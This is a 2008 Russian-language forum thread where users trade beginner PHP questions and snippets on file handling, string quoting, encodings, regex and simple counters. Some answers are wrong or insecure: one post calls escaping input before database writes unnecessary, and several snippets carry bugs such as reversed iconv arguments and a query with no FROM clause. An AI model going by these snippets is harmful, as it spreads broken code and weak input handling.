#400, в golos.dat пишется число?

385. FANTOM (20.05.08 / 12:20)
#401 в golos.dat пишется ники которие голосовали

386. Azzido (20.05.08 / 20:15)
<?php
$dir=opendir('./test/');
while(false!==($file=readdir($dir))){
if(is_dir($file)&&($fi le!='.')&&($file!='..')){
$list[]=$file;
}}
closedir($dir);
foreach($list as $k=>$v){
$f[$k]=$v;
$t[$k]=sizeof(file($v.'/golos.dat'));
/*здесь читаем файл golos.dat в папке с названием ника и считаем сколько в нем строк,подразумевается,что ник каждого проголосовавшего пишется с новой строки*/
}
arsort($t);
foreach($t as $k=>$v){
$list[]=$f[$k];
}
/*в итоге мы получили нумерованный массив $list сортированый в порядке убывания количества записей в golos.dat*/
/*для обхода этого массива можно использовать например цикл for*/
/*
$all=sizeof($list);
for($i=0; $i<$all; $i++){
echo $list[$i].'<br/>';
}
*/
?>


387. Azzido (20.05.08 / 20:21)
Точней
$t[$k]=sizeof(file('./test/'.$v.'/golos.dat'));
и лучше на результат работы этого сченария сделать кэширование, цикл,да еще и не один)

388. Удаленный (20.05.08 / 20:38)
не подскажите как вывести из папки test вывести все dat файлы

389. Azzido (20.05.08 / 21:34)
<?php
$dir=opendir('./test/');
while(false!==($file=readdir($dir))){
if(substr($file,-4)==' .dat' && is_file($file)){
$list[]=$file;
}}
closedir($dir);
$all=sizeof($list);
for($i=0; $i<$all; $i++){
echo $list[$i].'<br/>';
}
?>


390. Удаленный (21.05.08 / 08:58)
Подскажите что это за ошибка?
Notice: Undefined index: message in /usr/home/inter-css/htdocs/index.php on line 6


391. Azzido (21.05.08 / 10:51)
Достаточно взять словарь по английскому и узнаешь

392. FANTOM (21.05.08 / 18:15)
# не робит но спс,лови +

393. Azzido (21.05.08 / 18:33)
Почему не работает? Все работает. Я же в комментариях написал, что возможно в golos.dat не так пишутся ники, возможно там только подправить, не с новой строки ник,а через разделитель :I: например

394. FANTOM (21.05.08 / 20:07)
#410 не знаю почему,там такая система,вот например голосовали за тебя,ето пишетсия в papka/azzido/golos.dat и ники которие за тебия голосовали пишется с новой строки

395. Azzido (21.05.08 / 22:06)
Нууу,сказать почему не работает не могу,но код верный,должно работать

396. Titov (22.05.08 / 15:11)
вопрос!!! Можно ли с помощю кода пхп вывести на страничку 1/4 рисунка,не уменьшить ее в 4-ри раза, а именно разрезать на 4 куска,тоесть чтоб конец первого кусочка был началом второго,низ первого кусочка был верхом третьего и т.д.?
_______________
I 1 I 2 I
I_______I_______I
I 3 I 4 I
I_______I_______I

397. Titov (22.05.08 / 15:16)
кароч вот так вот http://4izz.ru/load_2/ff.gif

398. Titov (22.05.08 / 15:17)
и потом один из етих кусков вывести на страничку в виде простой картинки!

399. Удаленный (22.05.08 / 15:40)
Как написать WML код на главной? памагите пожалуста.

400. Удаленный (23.05.08 / 00:15)
413,

imageCopy
Копирование части рисунка.
Синтаксис :
int imageCopy(int dst_im, int src_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h)
Функция копирует прямоугольную область начиная с позиции (src_x, src_y) шириной src_w и высотой src_h из рисунка src_im в рисунок dst_im, придав копируемой области смещение (dst_x, dst_y).


401. Titov (23.05.08 / 01:59)
417. ухты, спасибо,мм, это получаеться нада в градусах получаеться, а как ето все в коде прописать то,

<?
$pic = 'ris.gif';/// 320x240px
if(substr($pic,0,1)!=".")
{
if(preg_match("/\.gif$/i", $pic)) $old = imageCreateFromGif("$pic");
{
$w = imageSX($old);
$h = imageSY($old);
$src_w = round(160);
$src_h = round(120);
imageCopy($dst_im, $old, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $w, $h)
?>

или ваше не так?).gif

402. Titov (23.05.08 / 02:00)

<?
$pic = 'ris.gif';/// 320x240px
if(substr($pic,0,1)!=".")
{
if(preg_match("/\.gif$/i", $pic)) $old = imageCreateFromGif("$pic");
{
$w = imageSX($old);
$h = imageSY($old);
$src_w = round(160);
$src_h = round(120);
imageCopy($dst_im, $old, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $w, $h)
}}
?>


403. wwww (25.05.08 / 22:05)
Вот хочу что бы функция copy брала адрес для закачки файла из базы ссылок, но пишет вот что:
Warning: copy(http://shurka.ru/1.txt ) [function.copy]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in x:\home\test.ru\www\index.php on line 23
Вот и сам скрипт:
$base=file('base.dat');
$get=$base[0];
copy($get,'1.txt');
echo'Файл&nbsp;'.$get.'&nbsp;скачан';

404. Azzido (25.05.08 / 22:58)
Значит либо файла не существует,либо запрещены исходящие соединения(бесплатный хостинг), и у меня под сомнением что эта функция действует не только на локальном уровне

405. Удаленный (26.05.08 / 00:19)
ключевое фрвза 404 Not Found

406. Удаленный (26.05.08 / 06:40)
Парни подскажите чайнику как сделать чтоб в загруз центре не отображались определенные расширения файлов и определенные названия папок?

407. Удаленный (26.05.08 / 09:45)
423,исключительно руками

408. Удаленный (26.05.08 / 11:04)
Я в курсе что руками как это в коде прописать

409. Удаленный (26.05.08 / 11:44)
425,неподскажеш как победить в войне ?

410. OlegLom (26.05.08 / 16:26)
Оба в бане.

411. Удаленный (26.05.08 / 16:27)
Иди на [мат]!
[Отредактировано: OlegLom - 26.05.08/16:27]

412. myz-tv (26.05.08 / 20:39)
424 чтото вроде этава. if(!$file==index.php){ а тут сам вывод } в $filе имя файлов

413. Azzido (26.05.08 / 21:28)
Ну в принципе waptanet зря в бан, так как вопрос очень объемлимый,и нужно объяснять полностью принцип загрузцентра,что бессмысленно,так как задавший вопрос 0,в php,и ему if($file!='.расширение'){ ничего не даст

414. myz-tv (26.05.08 / 21:40)
424 чтото вроде этава. if(!$file==index.php){ а тут сам вывод } в $filе имя файлов

415. Mentol (27.05.08 / 10:54)
Может кто подскажет, вопрос вот в чем! Скажем при авторизации, или регистрации я проверяю на допустимые введеные символы
<?
if(preg_match("/[^A-Za-z1-9\@\*\(\)\?\!\-\~\_\[\]\=]+/",$nick))///если недо
устимый символ скрипт тормозится и пишется что символ недопустимый
if(preg_match("/[^0-9a-zA-Z_]+/",$pass))///
?>

стоит ли еще применять к этим переменым функции htmlspecialchars и mysql_escape_string , далее идет запись в БД.

416. Удаленный (27.05.08 / 15:10)
432, Лишним никогда не будет , лучше применять)

417. Azzido (27.05.08 / 15:52)
433, лучше один раз тщательно проверить чем лепить кучу ненужных функций,нагружая сервер
432, если ты уверен, что проверил все опасные символы, то зачем она нужна

418. Удаленный (27.05.08 / 15:57)
Хелп, как исправить чтоб вместо текста не выдавало: ?? ???

419. Удаленный (28.05.08 / 22:41)
Люди подскажите как сделать так чтобы перед ссылкой были такие символы >>Ссылка (как на http://wapmas.ru/ )

420. Удаленный (28.05.08 / 23:39)
#437.Ыы.А ты как думаешь ? Просто берешь и перед текстом "рисуешь их",вставляешь.

421. Katorzhnik (29.05.08 / 14:27)
Народ,слушайте,у меня в файле для заливки таблиц для чата есть дампы,в них вся инфа зашифрована,т.е. все слова начинаются с "x0" и записаны примерно так "x0e67a325de".Как их расшифровать?И через че они зашифрованы?Это случайно не base64?

422. Удаленный (01.06.08 / 09:14)
Как сделать новую строку! Не <br> а шоб в блокноте она стала новая строка! А то пишу ссылки безконечно а строка одна! ).gif

423. Azzido (01.06.08 / 10:59)
Не понял что ты имеешь ввиду
echo'текст'."\r\n";
еще в блокноте если клавишу ENTER нажимаешь то переход на новую строку получается)

424. Удаленный (01.06.08 / 15:35)
Как записать введённый в форме текст в файл .txt. Т.е например
Ник:
Форма
Сообщение:
Форма
ОК
При нажатии на ОК в файл, допустим записалось
Ник:
Введённый ник
Сообщение:
Введённое сообщение

425. Удаленный (01.06.08 / 18:56)
442,

<?
$nick=$_POST['nick'];
$message=$_POST['message'];
echo'<form action="index.php" method="post">
Ник:
<input name="nick" type="text">
Сообщение:
<input name="massage" type="text">
<input type="submit" value="">
</form>';
$f=fopen("text.txt","a");
fputs($f,$nick."\n");
fputs($f,$message."\n");
fc lose($f);
?>


426. Удаленный (01.06.08 / 19:01)
Если я на телефон?

427. Удаленный (01.06.08 / 19:05)
Шо ети "\r" и "\n" делает ).gif

428. Удаленный (01.06.08 / 20:08)
445, переносит на новую строку

429. Удаленный (01.06.08 / 22:29)
Оба вместе писать надо?

430. Gendalf (01.06.08 / 23:00)
447, \r\n это перевод строки в Windows, \n перевод строки в Unix формате.
пример вывода
<?
echo "Первая строка\r\nВторая строка";
//если использовать одинарные кавычки то эти символы не заменятся на перевод строки, а выведутся как есть.
?>


431. Удаленный (02.06.08 / 09:50)
Спасибо! ).gif

432. Sanek-4eL (02.06.08 / 11:49)
Подсkажите kаk сделать проверочный kод?

433. Удаленный (02.06.08 / 13:27)
450. http://captcha.ru/

434. Удаленный (04.06.08 / 04:53)
Какую строку в .htaccess нужно
вписать чтобы можно было
загружать темы для Siemens? У
меня стоит такая AddType
application/vnd.eri.thm.thm но
че та вместо темы грузит
карамазябры...

435. Удаленный (04.06.08 / 08:44)
Как обрезать картинку скриптом, Динамически под все модели телефонов?

436. Удаленный (04.06.08 / 09:45)
453 На этом сайте есть скрипт resiaze вроде называется

437. Sanek-4eL (04.06.08 / 15:46)
#451,спасиб))кто знает как сделать текстовый (не графический) проверочный код?

438. Удаленный (04.06.08 / 17:41)
454. Нe нaшeл. Гдe имeннo?

439. Удаленный (04.06.08 / 18:35)
http://visavi.net/download/down.php?action=ob&did=masters&fid=fotoimageresize.zip&

440. Gefest (04.06.08 / 21:13)
Я новичок в php. Есть два вопроса. 1 Подскажите, как сделать запись в файле новой строки в начале, с учетом, что предыдущие строки будут спускаться на позицию вниз по мере добавления первой. 2 Как удалить например пятую строку?

441. Azzido (05.06.08 / 08:09)
458, удаление строки - 110 пост в этой теме http://visavi.net/forum/index.php?fid=3&id=120325850058&page=100

442. gipotez (05.06.08 / 21:09)
ПРИВЕТ! помогите сделать код, который обрезал бы первый символ любого слова. и последний символ так же...

443. Azzido (06.06.08 / 08:11)
$text=substr($text,1);
$text=substr($text,-1);

444. Jeka127 (06.06.08 / 13:09)
Дайте описания стандартных функций php.

445. Jeka127 (06.06.08 / 13:28)
Там всё на английском!

446. Удаленный (06.06.08 / 13:33)
http://zone.uti-puti.com/php/index.php?

447. Jeka127 (06.06.08 / 13:46)
Спасибо!
Ето получьше!

448. Удаленный (06.06.08 / 15:18)
вот Код

$file_array=file("login.txt");
if(!$file_array){echo("Ошибка открытия файла");}else{
for($i=0; $i<count($file_array);$i++){printf("%s<br>",$file_array[$i]."</p>");}}

Что значит вот это
("[color=#ff0000]%s[/color]<br>",$file_array[$i]."</p>")

%s?

449. Удаленный (06.06.08 / 15:19)
вот Код

$file_array=file("login.txt");
if(!$file_array){echo("Ошибка открытия файла");}else{
for($i=0; $i<count($file_array);$i++){printf("%s<br>",$file_array[$i]."</p>");}}

Что значит вот это
("[color=#ff0000]%s[/color]<br>",$file_array[$i]."</p>")

%s?

450. Azzido (06.06.08 / 15:54)
Это функция форматного вывода printf, почитай ее описание).gif

451. lugaro (06.06.08 / 15:58)
Это короче работа со строками.Я точно не помню.Шя просто на работе.
Вот короче кое

<?
$a="1";
echo sprintf("%'09s",$a);
?>
в результате выведется чистка 000000001 короче это %'09s типа заполнитель. Выводит чистко которое в $а и остальное заполняет ноликами.Блин бред какойто написал.Лан извени занят

452. Удаленный (06.06.08 / 16:32)
Ну а как ещё можно прочитать фаил?).gif

453. Jeka127 (06.06.08 / 18:29)
Можно ли как нибудь просмотреть index.php
чужого сайта?
Не скачать а хотя бы прочитать?

454. Flowthgin (06.06.08 / 18:33)
никак...

455. nVirus (06.06.08 / 18:44)
Вот у меня есть форма для сообщения в форуме, мне надо сделать так что форма была пустая а при добавление вписывалась нужная переменная в это сообщение. Как это сделать?

456. Jeka127 (06.06.08 / 23:04)
Покажите как создать форму и сделать так что бы данные из неё передавальсь файлу form.php,
A етот fopm.php создаст файл который будет называться точно также как первое слово введённое в 1 поле формы.
С расширением dat,в котором будут созданны переменные которым будет присвоенно значение которое было введено в полях формы.
Буду очень благодарен!

457. OlegLom (06.06.08 / 23:16)
474, в форме должно быть value="сюда можно и переменую и всё что хош"

458. nVirus (06.06.08 / 23:41)
476. Чёт не катит... Допусти у меня вот такая пакасть:
<textarea name="msg" cols="20" rows="3" >Здесь набирается текст</textarea>


459. Jeka127 (07.06.08 / 00:09)
474. Можешь полностью ответить.

460. nVirus (07.06.08 / 00:33)
478. Не понял... Я разбираюсь со своей проблемой...

461. Jeka127 (07.06.08 / 00:53)
<form method="post" action="c.dat"><input name="vasei" value="вася"/> <input value="Изменить" type="submit" /></form>
Чёт я не так сделал...
Мне нужно что бы вася,прописался в c.dat.

462. seif (07.06.08 / 04:05)
зачем ты данные в файл c.dat отправляеш? чтоб сделать проверку это должен быть php файл. смотри ответ на свой вопрос в теме "полезные куски кода" вроде так. ты там спросил, я там ответил

463. Sanek-4eL (07.06.08 / 12:15)
Ну чо на #455 кто нить ответит?

464. Удаленный (07.06.08 / 19:14)
с мотора вырежь)

465. seif (08.06.08 / 06:38)
подскажите, как сделать. надо из файла прочитать сумму, и сравнить ее с другой суммой, если другая сумма больше, то надо записать новую сумму

466. M-SOFT (08.06.08 / 08:27)
Вопрос: Допустим есть 4 переменные содержащие только числовые данные. Они берутся из мускула. Надо отобразить из этих 4х переменных только 2 имеющих min и max значение. Например:
$mda1=4;
$mda2=53;
$mda3=132;
$mda4=66;
print"min is $mda1 and max is $mda3";
одним словом вот это надо автоматизовать, т.к. значения могут изменяться... С меня + ;-)

467. M-SOFT (08.06.08 / 08:29)
484, у мя код есь. Ща с моб. Вечером напишу.

468. M-SOFT (08.06.08 / 08:40)
Вопрос 2: По какому принципу можно сделать: "Всего посещений юзера" и " Юзер на сайте прожил" (типо как в моторе)... Смысл посещений немного ясен, а проживания нет.

469. Azzido (08.06.08 / 08:40)
В mysql для этого есть соответствующие команды,например
mysql_query('SELECT MAX(table) LIMIT 1');
mysql_query('SELECT MIN(table) LIMIT 1');
на сколько я помню-такие,но не уверен

470. Azzido (08.06.08 / 08:44)
echo mysql_result(mysql_query('SELECT MAX(var) LIMIT 1'),0);

471. M-SOFT (08.06.08 / 08:51)
Объясни как понять в этом запросе ЛИМИТ 1 и поске него число 0?

472. M-SOFT (08.06.08 / 08:53)
Там смотри как идет. В таблице юзерс к каждому юзерю есть переменные ТЕМА в котором содержится выбранная имверсия отображения сайта. Понимаешь? Таким запросом это не сделать. Др выход есть?

473. Azzido (08.06.08 / 09:26)
LIMIT 1 - найдено одно удовлятворяющее условие-выборка останавливается
mysql_result($row,0); - получаем первый элемент из массива,полученого при выборке

474. Azzido (08.06.08 / 09:28)
Ничего не понятно.Если для одного юзера-одно поле ТЕМА с ОДНИМ числовым значением,то из этого одного числа выбирать максимальное?Хыы =]

475. Удаленный (08.06.08 / 09:49)
Можна несколько вопросов?

476. Удаленный (08.06.08 / 09:50)
1) (.*) можно ставить в любой функции? А в массиве можно?

477. Удаленный (08.06.08 / 09:52)
2) в грабе мне нада избавиться от ссылки, название которой меняется постоянно. Я пишу так: $file = preg_replace('I<a href=."http://site.com/go.php?id=1.">(.*)</a>I','',$file); но почемуто не работает (.gif В чё1м проблемка?

478. Удаленный (08.06.08 / 10:24)
3) Почему, когда я пишу граб с веба под вап-сайт, у меня одни иероглифы выходят? / всё пока.

479. Azzido (08.06.08 / 10:40)
497,кодировку надо из Windows-1251 в UTF-8 переводить

480. seif (08.06.08 / 10:54)
еще один вопрос. чтоб было понятно покажу пример страницы

<b>заголовок 1</b>
Ссылка
Ссылка
Ссылка
<b>заголовок 2</b>
Ссылка
Ссылка
Ссылка

заголовки должны быть ссылками т.е. когда например нажал на заголовок 1 то ссылки которые под заголовком 1 разрослись, и страница стала такой

<b>заголовок 1</b>
<b>заголовок 2</b>
Ссылка
Ссылка
Ссылка

когда снова нажал на заголовок 1 то ссылки развернулись. подскажите пожалуста как так сделать?

481. seif (08.06.08 / 10:55)
ой ).gif когда нажал на заголовок 1 то ссылки свернулис

482. Удаленный (08.06.08 / 11:44)
Ответьте на мои вопросы ПЛИЗ по порядку! (.gif

483. seif (08.06.08 / 11:47)
501 тебе ж ответили, кодировку надо менять. наверно через str_replace

484. Удаленный (08.06.08 / 11:50)
А на остальные?

485. OlegLom (08.06.08 / 11:55)
499, Можно сделать через if
<?
echo '<a href="test.php?f=silka1"><b>заголовокВ1</b></a>';
if ($_GET['f']=="silka1")
{
echo 'СсылкаВ
СсылкаВ
СсылкаВ';
}
echo '<a href="test.php?f=silka2"><b>заголовокВ2</b></a>';
if ($_GET['f']=="silka2")
{
echo 'Ссылка2В
Ссылка2В
Ссылка2В';
}
?>

Вобщем так. Писал на скорую руку.

486. OlegLom (08.06.08 / 11:56)
Буква "В" зачемто повстовлялась.

487. seif (08.06.08 / 11:58)
504 спасибо. сейчас попробую
503 так попробуй вырезать $file = preg_replace('/http:\/\/waplog.net(.*?)<\/a>/si','',$file);

488. Удаленный (08.06.08 / 11:58)
Напишите пожалуйста кто нибудь код изменения добавления время поста...Нужно +11часов вывести.

489. Azzido (08.06.08 / 12:02)
Кодировку меняем
$text=iconv($text,'Windows-1251,'UTF-8');

490. OlegLom (08.06.08 / 12:04)
кодировку можно менять и так:
с win в utf
$txt=iconv("win-1251","utf-8", $txt);

с utf в win
$txt=iconv("utf-8","win-1251", $txt);

Только я не помня надо указывать win-1251 или windows-1251
[Отредактировано: OlegLom - 08.06.08/12:04]

491. Azzido (08.06.08 / 12:04)
Кавычку пропустил
$text=iconv($text,'Windows-1251','UTF-8');

492. OlegLom (08.06.08 / 12:06)
510, я всегда писал как в 508 и нормально работало.

493. Удаленный (08.06.08 / 12:11)
А как правильно (.*) или (.*?)

494. Azzido (08.06.08 / 12:12)
Хм на php.su в описании написано что твой вариант правильный,а до этого везде видел так как я написал,странно

495. seif (08.06.08 / 12:13)
512 поразному работает. иногда можно (.*)

496. Удаленный (08.06.08 / 12:14)
А (.*) можна ставить любо где?

497. nVirus (08.06.08 / 12:33)
Вот у меня есть форма для сообщения в форуме, мне надо сделать так что форма была пустая а при добавление вписывалась нужная переменная в это сообщение. Как это сделать?
<textarea name="msg" cols="20" rows="3" >Здесь набирается текст</textarea>


498. seif (08.06.08 / 12:51)
2PAC когда захожу на сайт то ошибка в 17 строчке, это
if($_GET['f']=="silka")
когда нажму на заголовок то ошибка пропадает. в чем причина?

499. seif (08.06.08 / 12:52)
516 в твоем примере переменная это msg вот ее и нужно обработать, и записать. пример вчера писал

500. Удаленный (08.06.08 / 13:00)
516,

if(empty($_POST['msg'])) $val = 'Здесь набирается текст';
else $val = $_POST['msg'];
print '<textarea name="msg" cols="20" rows="3" >'.$val.'</textarea>';


501. Удаленный (08.06.08 / 13:38)
515. vorona [On](08.06.08/12:14) А (.*) можна ставить любо где?

502. Удаленный (08.06.08 / 13:44)
Ну типа в любой функции? В массиве можно?

503. Удаленный (08.06.08 / 14:15)
Что значит /si ?

504. dant (08.06.08 / 14:44)
мужики подскажите как можно изменить у всех файлов в папке расширения. По маске. Например из jar в JAR ?
Заранее спасиб ).gif

505. Удаленный (08.06.08 / 15:04)

i (PCRE_CASELESS)
Если этот модификатор установлен, буквы в патэрне совпадают независимо от регистра.
s (PCRE_DOTALL)
Если этот модификатор установлен, метасимвол dot (точка) соответствует всем символам, включая символы новой строки. Без него - символы новой строки исключаются. Этот модификатор эквивалентен Perl'овскому модификатору /s. Отрицательный класс, такой как [^a], всегда совпадает с символом новой строки вне зависимости от установки этого модификатора.


506. nVirus (08.06.08 / 15:13)
519, Это не катит... Вот у меня переменная: '.number.' Мне надо что бы при вводе сообщения ее видно не было, а пр добавление она добавлялась вместе с сообщением...

507. dant (08.06.08 / 15:13)
524. хм. Надо попробовать. Спасиб.

508. OlegLom (08.06.08 / 15:16)
Серёга, попробуй в начале страницы ввести Error_Reporting(E_ALL & ~E_NOTICE);

509. Удаленный (08.06.08 / 15:26)
520. vorona [On](08.06.08/13:38) 515. vorona [On](08.06.08/12:14) А (.*) можна ставить любо где?

510. dant (08.06.08 / 15:39)
524. Нее не то. У меня несколько сотен файлов и их переименовать надо. расширение полностью. Иначе jpg выводится как картинка, а надо JPG как скрин что бы вывозились

511. Удаленный (08.06.08 / 16:28)
525,шевельни мозгом чуть-чуть ...

512. nVirus (08.06.08 / 16:35)
530. Я тебе в аську написал. Чет не догоню так. Если можешь зайди ).gif

513. Удаленный (08.06.08 / 16:58)
А (.*) можна ставить любо где?

514. Azzido (08.06.08 / 17:17)
532, где менятца будет - удобнее, при написании грабберов надо сидеть и думать логически как лучше будет сделать)

515. Удаленный (08.06.08 / 17:28)
Как сделать поле ввода?

516. Удаленный (08.06.08 / 17:29)
Точнее как сделать поле ввода чтоб данные сохранялись в определенную папку).gif например название папки: SYUDA

517. seif (08.06.08 / 18:29)
2PAC тогда ссылок нету, которые относятся к этому заголовку

518. Удаленный (08.06.08 / 21:25)
Ответьте на мою тему о класах, пожалуста! Я ее в скриптах случайно создал. Перепутал разделы

519. OlegLom (08.06.08 / 21:46)
Серёга, сделай файл test.php и будет работать.

520. Удаленный (08.06.08 / 22:03)
Хелп ми

521. BANDIT (08.06.08 / 22:09)
535 те надо запись в файл с поля ввода?

522. Удаленный (08.06.08 / 23:07)
Ладно здесь задам. Хочу сделать класс узера сайта со всеми его данными. Нормально ли будет хранить сериализованную строку класса в базе как блоб-поле.

523. Удаленный (08.06.08 / 23:10)
Cмыcл тakoй: ecть id юзepa и kлacc c ниkoм, пapoлeм...И в бaзe xpaнить нe вce эти пoля, a тoka 2. Kpoмe тoгo, пepeдaвaть kлac пo ceccии. Будeт ли этo paбoтaть? Или нakлaднo?

524. seif (09.06.08 / 09:51)
2PAC разобрался в чем ошибка была. без файла тест.php работает

525. Удаленный (09.06.08 / 10:02)
542,
1.А зачем это всё?
2. Сериализованные данные нельзя хранить в сессии ..

526. Удаленный (09.06.08 / 13:03)
544. Мoжмo. Дa лaднo. Пoмoгитe пoнять paбoту koвычek. Oдинapныe, двoйныe.

527. Удаленный (09.06.08 / 13:09)
Нaпpимep этo paбoтaeт
echo '<title>'.$title.'</title>
xoтя пo лoгиke, вpoдe нe дoлжнo...Или гдe-тo видeл koд
mysql_query('SELECT * from gb where id="'.$id_user.'"');


528. Удаленный (09.06.08 / 13:12)
Последнее меня просто убивает! Кто нормально обьяснит, где какие ковычки ставить.. Как програмисту на С++, привыкшему к нормальным двойным..

529. Удаленный (09.06.08 / 13:14)
Taм eщe и тpeтьи koвычkи гдe-тo были...

530. Azzido (09.06.08 / 13:46)
В одинарных кавычках не происходит интерполяция переменных,а в двойных -происходит.
$var='world';
echo 'Hello, $var';//выведет Hello, $var
echo 'Hello, '.$var;//выведет Hello, world
echo "Hello, $var";//выведет Hello, world

531. Удаленный (09.06.08 / 14:07)
549. Этo знaю. Нo вoпpoc нe в этoм был, a в cмeшивaнии...kak в koдe! Taм eщe гдe title eщe '; типa cтoит... A здecь oшибka
echo '<title>.$title.</title>';
P.S мaнуaл читaл...

532. Azzido (09.06.08 / 14:32)
Это равносильно этому:
echo '<title>';
echo $title;
echo '</title>';
Для склеивания используются точки,то есть получаем
echo '<title>' . $title . '</title>'

533. Удаленный (09.06.08 / 15:31)
Azzido, cпacибo. Teпepь пoнял. A пo втopoму koду, чтo мoжeшь ckaзaть?

534. Azzido (09.06.08 / 15:46)
mysql_query('SELECT * FROM gb WHERE id="'.$id_user.'"');-здесь идет выборка для определенного id,$id это переменная и так же используются точки чтоб склеить,иначе можно записать так:
mysql_query('SELECT * FROM gb WHERE id="5"');
или так
mysql_query("SELECT * FROM gb WHERE id='5'");

535. Azzido (09.06.08 / 15:49)
mysql_query('SELECT * FROM gb WHERE id="'.$id_user.'"');

536. OlegLom (09.06.08 / 16:02)
Можно даже так писать

<?
echo 'текст 1 <br/>'.
'текст 2'.
'ерунда';
?>

Тоесть я могу склеить текст 1 со 2 и ерундой таким макором.
А когда находится переменая например:
echo '<b>'.$text.'</b>';
Тоесть <b> склеивается с переменой и с </b>.

537. Azzido (09.06.08 / 16:15)
А вообще читал что склеивание строк запятыми работает быстрее)

538. Удаленный (09.06.08 / 18:21)
Azzido, cпacибo. Вpoдe пoнял ).gif

539. OlegLom (09.06.08 / 19:33)
556, я вообще не знал что строки можно запятыми склеивать.

540. Удаленный (09.06.08 / 20:38)
558. Toka в echo

541. Удаленный (10.06.08 / 10:54)
Как в загруз центре установить отображение названий на русском языке, транслит ?

542. OlegLom (10.06.08 / 11:45)
Или транслит или делай сравнение, только надо заранее вписывать название папки и как она на русском отображается.

543. Удаленный (10.06.08 / 14:48)
люди кто знает почему эта функтия
if($location==BASEDIR){ echo'<img src="'.$config_home.'/themes/orange/images/logo.jpg" alt="logo">'; }
работает токо для не авторизированных пользователей, а для авторизированных не пашет. как сделать чтоб она и для авторизированных рабтала и не для авторизированных???

544. OlegLom (10.06.08 / 14:57)
562, хз. Надо смотреть сам скрипт.

545. Удаленный (10.06.08 / 15:29)
Пpoвepьтe koд пpoвepkи url caйтa. www.site.domen [code]preg_replace('http://', '', $str); if(ereg(^ www(0,3).(1,10))){}[/code>Пpaвильнo ли. Нужнa для oбpaтнoй ccылkи в cepвиcax

546. Удаленный (10.06.08 / 15:30)
!563 как скрипт? я тему делаю просто.

547. Удаленный (10.06.08 / 15:34)
Пpoвepьтe koд пpoвepkи url caйтa. www.site.domen
preg_replace('http://', '', $str);   if(ereg(^ www(0,3).[[:alpha:]]*.[[:alpha:]](1,10))){}
Пpaвильнo ли. Нужнa для oбpaтнoй ccылkи в cepвиcax. Tak лучe. Aтo зa пpoвepkу зaбыл

548. Удаленный (10.06.08 / 15:36)
565. Этa знaчит, чтo у зapeгaныx BASEDIR != location ).gif

549. Удаленный (10.06.08 / 15:39)
И зaчeм вaщe пpoвepka? O_o

550. Удаленный (10.06.08 / 15:49)
566,

$text = 'www.domain.com';
if(!preg_match('~^(http://)?(www\.)?(?:[a-z0-9]+(?:-[a-z0-9]+)*\\.)+[a-z]{2,6}$ ~iu',$text)) print 'неа )';

написал слёту,сам тестани .... вроде должно работать ....

551. Удаленный (10.06.08 / 15:56)

if(!preg_match('~^(http://)?(www\.)?(?:[a-z0-9]+(?:-[a-z0-9]+)*\\.)+[a-z]{2,6}$~i',$text)) print 'неа )';

убрал модификатор лишний и пробелл ....

552. woron (10.06.08 / 16:00)
Как сделать обычный счетчик переходов по ссылке?

553. Удаленный (10.06.08 / 16:31)

# продолжение
if ( isset( $_GET['go'] ) )
{
if ( in_array( $_GET['go'], $link_name ) )
{
$count[$_GET['go']]++;
$fd = fopen($countname,"w");
fwrite( $fd, serialize( $count ) );
fclose( $fd );
header( "Location: $_GET[go]" );
}
}
foreach( $link_name as $link )
{
echo "<a href=$_SERVER[PHP_SELF]?go=$link>$link</a>";
if ( $count[$link] != '' ) echo " переходов: " . $count[$link] . "<br />";
else echo "<br />";
}


554. woron (10.06.08 / 17:13)
Спасибо, лови +

555. Удаленный (10.06.08 / 23:35)
a nа мои вопрос никто не может ответить?

556. Удаленный (10.06.08 / 23:43)
575. Эkcтpaceнc мoжeт. В google eгo пoищи...гг. Xoть бы koд вылoжил

557. Удаленный (11.06.08 / 00:53)
576 читай пост номер 562

558. Jeka127 (11.06.08 / 08:08)
Как сделать инклюд?

559. seif (11.06.08 / 08:50)
578 смотря где файл лежит. если файл в этой же папке include "имя файла.php";
если файл на директорию ниже include "../имя файла.php";
если файл в другой папке include "test/имя файла.php";

560. seif (11.06.08 / 08:52)
есть ли в этой странице ошибка http://smartfan.org.ru/add.txt просто какая та странная ошибка когда отправляеш данные из формы на обработку, возникает ошибка 404 почему?

561. Удаленный (11.06.08 / 09:11)

/* Как сделать обычный счетчик переходов по ссылке? */
$link_name = array('page1.htm','page2.html','page3.php'); # ссылки
$countname = "linkcount.txt";
if ( file_exists( $countname ) )
{
$fd = fopen($countname,"r");
$content = fread($fd,filesize($countname));
fclose( $fd );
$count = unserialize($content);
}
else
{
foreach( $link_name as $link )
{
$count[$file] = 0;
}
$fd = fopen($countname,"w");
fwrite( $fd, serialize( $count ) );
fclose( $fd );
}

[Отредактировано: OlegLom - 11.06.08/09:11]

562. Удаленный (11.06.08 / 09:26)
580. Tak нaдo
themes/'.$themes.'.php
kopoчe ckpeплять тoчkaми

563. seif (11.06.08 / 09:50)
581 нет. тут чета другое. з.ы. в других страницах также themes/$theme.php и все ок.
точки нужны если ты пишеш переменную между тегами. например <b>'.$theme.'</b> если страница в html и нету точек, то увидиш переменную

564. seif (11.06.08 / 09:53)
т.е. если в странице разметка html

565. seif (11.06.08 / 10:02)
главно если в странице сделать ошибку, то на нее получается зайти, но там же ошибка т.к. я ее сделал. если убрать ошибку то опять 404 (.gif что за...

566. Удаленный (11.06.08 / 11:40)
Ухахах, 582 пост жжжееет!

567. Удаленный (11.06.08 / 12:04)
я поражён,уже несколько дней идёт тупая болтовня,хотя взять мануал и разобратся в работе со строками займёт от силы 1 час ...

$text = 'text';
print '<strong>'.$text."<br />".'и здесь тоже текст ...'."$text".'<br />'.'$text'."</strong>"." Вася сказал: \"очень хочу Машу\"".'<br />'.'<big>А Маша сказала: "Пошёл он нах" ....</big>'.str_replace('text','Бгг',$text);


568. seif (11.06.08 / 12:16)
585 иди попробуй написать
$a = "1";
echo '<b>$a</b>';
результат будет

.....
$a = "1";
echo '<b>'.$a.'</b>';
или точкой еще можно соединять слова.
$a = $log.".prof";
if(file_exists("user/$a))
проверка на существование файла в папке user с расширение prof переменная $log это имя файла который будет создан.
разве я не прав? лучше бы на вопрос ответили. чем просто болтать

569. Удаленный (11.06.08 / 12:40)

if(file_exists('user/'.$log.'.prof')){die('Что сложного ?');}


570. seif (11.06.08 / 12:45)
588 это я хорошо знаю. мой пост 587 был для 585 а вопрос который я задал, он 580 вроде

